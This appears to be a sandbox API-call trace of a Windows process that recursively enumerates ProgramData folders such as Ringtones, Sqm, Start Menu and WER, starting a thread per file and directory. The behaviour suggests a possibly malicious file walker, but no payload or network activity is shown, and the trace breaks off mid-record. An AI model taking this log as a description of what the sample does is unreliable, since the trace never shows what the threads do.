[0055.611] wcscat (in: _Dest=0x400598, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\" [0055.611] wcscat (in: _Dest=0x400598, _Source="Ringtone 08.wma" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 08.wma") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 08.wma" [0055.611] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x400598, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xda4 [0055.612] FindNextFileW (in: hFindFile=0x440220, lpFindFileData=0x4860b8 | out: lpFindFileData=0x4860b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1b6e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ringtone 09.wma", cAlternateFileName="RI70DC~1.WMA")) returned 1 [0055.612] wcscmp (_String1="Ringtone 09.wma", _String2=".") returned 1 [0055.612] wcscmp (_String1="Ringtone 09.wma", _String2="..") returned 1 [0055.612] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x76) returned 0x12e08e18 [0055.612] wcscpy (in: _Dest=0x12e08e18, _Source="C:\\ProgramData\\Microsoft\\Windows\\Ringtones" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones" [0055.612] wcscat (in: _Dest=0x12e08e18, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\" [0055.612] wcscat (in: _Dest=0x12e08e18, _Source="Ringtone 09.wma" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 09.wma") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 09.wma" [0055.612] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12e08e18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xda0 [0055.613] FindNextFileW (in: hFindFile=0x440220, lpFindFileData=0x4860b8 | out: lpFindFileData=0x4860b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x170f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ringtone 10.wma", cAlternateFileName="RI35A2~1.WMA")) returned 1 [0055.613] wcscmp (_String1="Ringtone 10.wma", _String2=".") returned 1 [0055.613] wcscmp (_String1="Ringtone 10.wma", _String2="..") returned 1 [0055.613] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x76) returned 0x12e08d98 [0055.613] wcscpy (in: _Dest=0x12e08d98, _Source="C:\\ProgramData\\Microsoft\\Windows\\Ringtones" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones" [0055.613] wcscat (in: _Dest=0x12e08d98, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\" [0055.613] wcscat (in: _Dest=0x12e08d98, _Source="Ringtone 10.wma" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 10.wma") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 10.wma" [0055.613] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12e08d98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd98 [0055.614] FindNextFileW (in: hFindFile=0x440220, lpFindFileData=0x4860b8 | out: lpFindFileData=0x4860b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x170f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ringtone 10.wma", cAlternateFileName="RI35A2~1.WMA")) returned 0 [0055.614] FindClose (in: hFindFile=0x440220 | out: hFindFile=0x440220) returned 1 [0055.615] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4860b8) returned 1 [0055.615] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4462c0) returned 1 [0055.615] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x449fb0) returned 1 Thread: id = 262 os_tid = 0x914 [0046.861] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4e) returned 0x414258 [0046.861] wcscpy (in: _Dest=0x414258, _Source="C:\\ProgramData\\Microsoft\\Windows\\Sqm" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Sqm") returned="C:\\ProgramData\\Microsoft\\Windows\\Sqm" [0046.861] wcscat (in: _Dest=0x414258, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\" [0046.861] wcscat (in: _Dest=0x414258, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\*" [0046.861] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x486320 [0046.861] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\*", lpFindFileData=0x486320 | out: lpFindFileData=0x486320*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a3a8 [0049.752] wcscmp (_String1=".", _String2=".") returned 0 [0049.752] FindNextFileW (in: hFindFile=0x40a3a8, lpFindFileData=0x486320 | out: lpFindFileData=0x486320*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.752] wcscmp (_String1="..", _String2=".") returned 1 [0049.753] wcscmp (_String1="..", _String2="..") returned 0 [0049.753] FindNextFileW (in: hFindFile=0x40a3a8, lpFindFileData=0x486320 | out: lpFindFileData=0x486320*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Manifest", cAlternateFileName="")) returned 1 [0049.753] wcscmp (_String1="Manifest", _String2=".") returned 1 [0049.753] wcscmp (_String1="Manifest", _String2="..") returned 1 [0049.753] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x5c) returned 0x48d4c0 [0049.753] wcscpy (in: _Dest=0x48d4c0, _Source="C:\\ProgramData\\Microsoft\\Windows\\Sqm" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Sqm") returned="C:\\ProgramData\\Microsoft\\Windows\\Sqm" [0049.753] wcscat (in: _Dest=0x48d4c0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\" [0049.753] wcscat (in: _Dest=0x48d4c0, _Source="Manifest" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\Manifest") returned="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\Manifest" [0055.561] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x48d4c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3d0 [0055.562] FindNextFileW (in: hFindFile=0x40a3a8, lpFindFileData=0x486320 | out: lpFindFileData=0x486320*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sessions", cAlternateFileName="")) returned 1 [0055.562] wcscmp (_String1="Sessions", _String2=".") returned 1 [0055.562] wcscmp (_String1="Sessions", _String2="..") returned 1 [0055.562] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x5c) returned 0x445fe8 [0055.562] wcscpy (in: _Dest=0x445fe8, _Source="C:\\ProgramData\\Microsoft\\Windows\\Sqm" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Sqm") returned="C:\\ProgramData\\Microsoft\\Windows\\Sqm" [0055.562] wcscat (in: _Dest=0x445fe8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\" [0055.562] wcscat (in: _Dest=0x445fe8, _Source="Sessions" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\Sessions") returned="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\Sessions" [0055.563] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x445fe8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x101c [0055.563] FindNextFileW (in: hFindFile=0x40a3a8, lpFindFileData=0x486320 | out: lpFindFileData=0x486320*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Upload", cAlternateFileName="")) returned 1 [0055.563] wcscmp (_String1="Upload", _String2=".") returned 1 [0055.563] wcscmp (_String1="Upload", _String2="..") returned 1 [0055.564] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x58) returned 0x44aa30 [0055.564] wcscpy (in: _Dest=0x44aa30, _Source="C:\\ProgramData\\Microsoft\\Windows\\Sqm" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Sqm") returned="C:\\ProgramData\\Microsoft\\Windows\\Sqm" [0055.564] wcscat (in: _Dest=0x44aa30, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\" [0055.564] wcscat (in: _Dest=0x44aa30, _Source="Upload" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\Upload") returned="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\Upload" [0055.564] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x44aa30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd28 [0055.565] FindNextFileW (in: hFindFile=0x40a3a8, lpFindFileData=0x486320 | out: lpFindFileData=0x486320*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Upload", cAlternateFileName="")) returned 0 [0055.565] FindClose (in: hFindFile=0x40a3a8 | out: hFindFile=0x40a3a8) returned 1 [0055.565] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x486320) returned 1 [0055.565] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x414258) returned 1 [0055.565] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x414938) returned 1 Thread: id = 263 os_tid = 0x938 [0046.861] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x5c) returned 0x446328 [0046.862] wcscpy (in: _Dest=0x446328, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu" [0046.862] wcscat (in: _Dest=0x446328, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\" [0046.862] wcscat (in: _Dest=0x446328, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\*" [0046.862] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x486588 [0046.862] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\*", lpFindFileData=0x486588 | out: lpFindFileData=0x486588*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1cc35f15, ftLastAccessTime.dwHighDateTime=0x1ca0440, ftLastWriteTime.dwLowDateTime=0x1cc35f15, ftLastWriteTime.dwHighDateTime=0x1ca0440, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440760 [0046.862] wcscmp (_String1=".", _String2=".") returned 0 [0046.862] FindNextFileW (in: hFindFile=0x440760, lpFindFileData=0x486588 | out: lpFindFileData=0x486588*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1cc35f15, ftLastAccessTime.dwHighDateTime=0x1ca0440, ftLastWriteTime.dwLowDateTime=0x1cc35f15, ftLastWriteTime.dwHighDateTime=0x1ca0440, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.862] wcscmp (_String1="..", _String2=".") returned 1 [0046.862] wcscmp (_String1="..", _String2="..") returned 0 [0046.862] FindNextFileW (in: hFindFile=0x440760, lpFindFileData=0x486588 | out: lpFindFileData=0x486588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cc35f15, ftCreationTime.dwHighDateTime=0x1ca0440, ftLastAccessTime.dwLowDateTime=0x1cc35f15, ftLastAccessTime.dwHighDateTime=0x1ca0440, ftLastWriteTime.dwLowDateTime=0x1cc35f15, ftLastWriteTime.dwHighDateTime=0x1ca0440, nFileSizeHigh=0x0, nFileSizeLow=0x502, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default Programs.lnk", cAlternateFileName="DEFAUL~1.LNK")) returned 1 [0046.862] wcscmp (_String1="Default Programs.lnk", _String2=".") returned 1 [0046.862] wcscmp (_String1="Default Programs.lnk", _String2="..") returned 1 [0046.862] FindNextFileW (in: hFindFile=0x440760, lpFindFileData=0x486588 | out: lpFindFileData=0x486588*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7f5a4e15, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x7f5a4e15, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x1cc35f15, ftLastWriteTime.dwHighDateTime=0x1ca0440, nFileSizeHigh=0x0, nFileSizeLow=0x1ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0046.862] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0046.862] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0046.862] FindNextFileW (in: hFindFile=0x440760, lpFindFileData=0x486588 | out: lpFindFileData=0x486588*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x78038410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78038410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Programs", cAlternateFileName="")) returned 1 [0046.862] wcscmp (_String1="Programs", _String2=".") returned 1 [0046.862] wcscmp (_String1="Programs", _String2="..") returned 1 [0046.862] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6a) returned 0x419298 [0046.862] wcscpy (in: _Dest=0x419298, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu" [0046.863] wcscat (in: _Dest=0x419298, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\" [0046.863] wcscat (in: _Dest=0x419298, _Source="Programs" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs" [0047.906] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x419298, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x570 [0047.907] FindNextFileW (in: hFindFile=0x440760, lpFindFileData=0x486588 | out: lpFindFileData=0x486588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f57ecb5, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x7f57ecb5, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x7f57ecb5, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x4f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Update.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 1 [0047.907] wcscmp (_String1="Windows Update.lnk", _String2=".") returned 1 [0047.907] wcscmp (_String1="Windows Update.lnk", _String2="..") returned 1 [0047.907] FindNextFileW (in: hFindFile=0x440760, lpFindFileData=0x486588 | out: lpFindFileData=0x486588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f57ecb5, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x7f57ecb5, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x7f57ecb5, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x4f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Update.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 0 [0047.907] FindClose (in: hFindFile=0x440760 | out: hFindFile=0x440760) returned 1 [0047.907] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x486588) returned 1 [0047.907] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x446328) returned 1 [0047.907] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44a4f0) returned 1 Thread: id = 264 os_tid = 0x3d0 [0046.868] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x5a) returned 0x48cfe0 [0046.869] wcscpy (in: _Dest=0x48cfe0, _Source="C:\\ProgramData\\Microsoft\\Windows\\Templates" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Templates") returned="C:\\ProgramData\\Microsoft\\Windows\\Templates" [0046.869] wcscat (in: _Dest=0x48cfe0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Templates\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Templates\\" [0046.869] wcscat (in: _Dest=0x48cfe0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Templates\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\Templates\\*" [0046.869] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4867f0 [0046.869] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Templates\\*", lpFindFileData=0x4867f0 | out: lpFindFileData=0x4867f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9dbcac, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaeea3462, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409fa8 [0049.782] wcscmp (_String1=".", _String2=".") returned 0 [0049.782] FindNextFileW (in: hFindFile=0x409fa8, lpFindFileData=0x4867f0 | out: lpFindFileData=0x4867f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9dbcac, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaeea3462, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.782] wcscmp (_String1="..", _String2=".") returned 1 [0049.782] wcscmp (_String1="..", _String2="..") returned 0 [0049.782] FindNextFileW (in: hFindFile=0x409fa8, lpFindFileData=0x4867f0 | out: lpFindFileData=0x4867f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9dbcac, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaeea3462, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0049.782] FindClose (in: hFindFile=0x409fa8 | out: hFindFile=0x409fa8) returned 1 [0049.783] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4867f0) returned 1 [0049.783] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x48cfe0) returned 1 [0049.783] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44a550) returned 1 Thread: id = 265 os_tid = 0xa34 [0046.869] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4e) returned 0x414048 [0046.869] wcscpy (in: _Dest=0x414048, _Source="C:\\ProgramData\\Microsoft\\Windows\\WER" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\WER") returned="C:\\ProgramData\\Microsoft\\Windows\\WER" [0046.869] wcscat (in: _Dest=0x414048, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\WER\\") returned="C:\\ProgramData\\Microsoft\\Windows\\WER\\" [0046.869] wcscat (in: _Dest=0x414048, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\WER\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\WER\\*" [0046.869] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x486a58 [0046.869] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\WER\\*", lpFindFileData=0x486a58 | out: lpFindFileData=0x486a58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfda01e06, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfda01e06, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a0a8 [0049.781] wcscmp (_String1=".", _String2=".") returned 0 [0049.781] FindNextFileW (in: hFindFile=0x40a0a8, lpFindFileData=0x486a58 | out: lpFindFileData=0x486a58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfda01e06, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfda01e06, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.782] wcscmp (_String1="..", _String2=".") returned 1 [0049.782] wcscmp (_String1="..", _String2="..") returned 0 [0049.782] FindNextFileW (in: hFindFile=0x40a0a8, lpFindFileData=0x486a58 | out: lpFindFileData=0x486a58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfda01e06, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0x9a0a5fd1, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportArchive", cAlternateFileName="REPORT~1")) returned 1 [0049.782] wcscmp (_String1="ReportArchive", _String2=".") returned 1 [0049.782] wcscmp (_String1="ReportArchive", _String2="..") returned 1 [0049.782] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x66) returned 0x43c080 [0049.782] wcscpy (in: _Dest=0x43c080, _Source="C:\\ProgramData\\Microsoft\\Windows\\WER" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\WER") returned="C:\\ProgramData\\Microsoft\\Windows\\WER" [0049.782] wcscat (in: _Dest=0x43c080, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\WER\\") returned="C:\\ProgramData\\Microsoft\\Windows\\WER\\" [0049.782] wcscat (in: _Dest=0x43c080, _Source="ReportArchive" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportArchive") returned="C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportArchive" [0065.427] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x43c080, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x31c [0065.428] FindNextFileW (in: hFindFile=0x40a0a8, lpFindFileData=0x486a58 | out: lpFindFileData=0x486a58*(dwFileAttributes=0x810, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb59300, ftLastAccessTime.dwHighDateTime=0x1d42023, ftLastWriteTime.dwLowDateTime=0x2fb59300, ftLastWriteTime.dwHighDateTime=0x1d42023, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportQueue", 